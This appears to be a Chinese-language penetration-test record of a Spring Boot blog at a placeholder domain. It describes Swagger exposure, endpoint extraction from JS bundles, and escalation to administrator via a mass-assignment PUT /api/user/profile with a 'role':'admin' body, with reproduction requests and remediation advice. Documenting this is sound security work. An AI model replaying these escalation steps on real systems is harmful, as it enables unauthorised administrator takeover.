5.1 KiB
5.1 KiB
name: pentest-personalblog-fun-mass-assignment description: {target_domain} Spring Boot 博客系统渗透测试——通过 Swagger 泄露 + Mass Assignment 提权至管理员,JS静态分析补充攻击面 metadata: type: project
{target_domain} 渗透测试记录
日期: 2026-05-16 目标: https://www.{target_domain}/ 关键词: Spring Boot, MyBatis-Plus, SaToken, Mass Assignment, Swagger泄露, 权限提升, Vue 3, JS静态分析, 前端路由绕过, DTO缺失
背景
黑盒渗透测试一个基于 Spring Boot 的个人博客系统,目标是进入后台管理页面。
攻击路径
- 信息收集: 识别 Vue SPA → 提取 JS 中的 API 端点 → 发现
/api/v3/api-docs(Swagger 未授权访问) - API 文档分析: 获得完整端点定义、数据模型、管理员接口
- 用户枚举: 文章列表接口暴露 admin 用户信息(id=1,email={admin_email})
- 公告提示漏洞存在: 公告 #14 标注"网站普通用户可被提权管理员"
- 注册: 通过 mail.tm 临时邮箱接收验证码注册普通用户
- Mass Assignment 提权:
PUT /api/user/profile传入"role":"admin"将 role 从 reader 提升为 admin
JS 静态分析补充发现
IP 被限速后通过前端 JS bundle 做静态分析,提取了完整的 API 端点列表:
| 来源 | 发现 |
|---|---|
user-n8GFLR5I.js |
全部 16 个用户/认证端点的完整参数定义 |
article-manage-BUHBK4I3.js |
全部 8 个文章端点的操作(CRUD + 发布/草稿/列表) |
upload-C3Isuhzt.js |
文件上传逻辑(avatar + cover),使用 FormData/multipart |
Login-BfQvQsk0.js |
登录/注册完整流程,含邮箱验证码登录 |
index-F3rwNCiG.js |
axios 实例配置(baseURL: /api, satoken header) |
前端路由保护发现
Vue Router 定义中管理端路由带 requiresAdmin: true 标志,但仅在前端判断:
{ path: "/user-manage", name: "UserManage", ..., meta: { requiresAdmin: true } },
{ path: "/category-manage", name: "CategoryManage", ..., meta: { requiresAdmin: true } },
后端 API 虽然有 SaToken 鉴权,但管理端 GET 接口(如 article/all)缺少认证检查。
完整 API 端点清单
用户/Auth(user-n8GFLR5I.js):
POST /user/login— 用户名密码登录POST /user/register— 注册GET /user/info— 当前用户信息PUT /user/profile— 更新资料(Mass Assignment!)PUT /user/password— 修改密码POST /user/logout— 登出POST /auth/send-code— 发验证码POST /auth/verify-email-code— 校验验证码POST /user/login-by-email— 邮箱验证码登录GET /user/check-username/check-email/check-exists— 检查接口PUT /user/{id}/status— 管理员禁用用户GET /user/{id}— 管理员查用户详情GET /user/list— 管理员用户列表
文章(article-manage-BUHBK4I3.js):
POST /article— 创建文章PUT /article/{id}— 更新文章DELETE /article/{id}— 删除文章GET /article/{id}— 查文章详情GET /article/drafts— 我的草稿GET /article/my— 我的文章GET /article/all— 所有文章(管理端)POST /article/{id}/publish— 发布文章
已验证安全的攻击面
| 测试项 | 结论 |
|---|---|
| 密码修改需旧密码 | PUT /user/password 需要旧密码认证 |
| 邮箱验证码一次性 | 验证码消费后不可重用 |
| 前端无 API Key/Secret 硬编码 | bundle 中无敏感凭证 |
| SaToken UUIDv4 不可伪造 | UUID 随机性足够 |
| nginx 正确拦截 Method Override | HTTP 动词篡改被 405 拒绝 |
关键发现
| 发现 | 说明 |
|---|---|
| Swagger 生产环境未关闭 | /api/v3/api-docs + Knife4j + Swagger UI 全暴露 |
| MyBatis-Plus 直接接受 Entity | Controller 直接接收 User 对象传给 updateById,未做字段过滤 |
| CORS 全通 | access-control-allow-origin: * |
| 邮箱验证码可用 temp mail | mail.tm 临时邮箱可接收验证码 |
| 前端路由保护仅前端控制 | requiresAdmin 标志在后端无对应强制校验 |
| 系统级 Mass Assignment | Article/Category/Tag/Announcement 全部 CRUD Entity 直收 |
| article/all 无认证 | 管理端文章列表接口未做任何权限校验 |
复现命令
# 注册
POST /api/user/register {"username":"x","password":"{test_password}","email":"{test_email}","emailCode":"123456"}
# 提权
PUT /api/user/profile {"role":"admin"}
# 验证
GET /api/user/info → {"role":"admin",...}
GET /api/user/list → [全部用户]
工具
- curl (Windows)
- mail.tm API (临时邮箱)
- Python 3
- JS 源码静态分析(regex/py 提取端点)
修复要点
- DTO 隔离:Controller 不要直接接收 Entity 对象(全局审计)
@JsonIgnore或 Service 层 role 字段强制写保护- 生产禁用 Swagger/Knife4j
- CORS 限制为具体域名
- 用户信息接口脱敏
- Article/all 添加 SaCheckRole 注解
- 后端对所有管理端接口做独立权限校验(不依赖前端路由控制)